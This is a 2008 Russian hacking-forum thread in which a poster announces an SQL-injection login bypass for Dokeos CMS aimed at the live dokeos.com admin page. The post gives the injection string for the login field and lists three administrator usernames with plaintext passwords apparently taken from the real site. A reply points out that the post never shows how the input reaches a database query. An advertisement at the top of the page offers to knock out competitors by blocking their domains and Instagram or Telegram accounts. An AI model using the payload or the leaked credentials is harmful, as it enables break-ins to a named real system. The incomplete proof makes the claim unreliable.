Dokeos CMS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Dokeos CMS

Опции темы

Поиск в этой теме

Опции просмотра

Dokeos CMS

04.07.2008, 18:33

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

С нами: 9762146

Репутация: 1174

Dokeos CMS

Dokeos CMS

Warning: magic_quotes_gpc = off
--------------------------------------
Site: dokeos.com [PR=6]
Status: Free
--------------------------------------
Vuln:
/claro_init_local.inc.php

PHP код:


		
			
 ............

   if(isset($_POST['login']) && isset($_POST['password'])) // $login && $password are given to log in

    {

        $login = $_POST['login'];

        $password = $_POST['password'];

 .............

--------------------------------------
Exploit:
/admin/login.php

PHP код:


		
			
Your login : 1' or 1=1/*    

 Your password : x3kpass

--------------------------------------
Super Administrators:

Код:

yannick:adminPassword
 thomas:upsi24lon
 jwarnier:cisco123

ZAMUT (c)

𝕏 Twitter Reddit Telegram Копировать ссылку

__________________
в строю

Последний раз редактировалось ZAMUT; 04.07.2008 в 18:38..

04.07.2008, 19:11

~~_kREveDKo_~~

Banned

Регистрация: 04.12.2005

Сообщений: 826

С нами: 10754246

Репутация: 3813

Подверженная версия, дорк и уязвимый запрос пожалста (ты указал только объявление переменных, но не показал где и как они попадают в запрос).

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Kasseler CMS 1.0.0 Lite	vadim399	PHP	1	31.12.2007 03:30

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход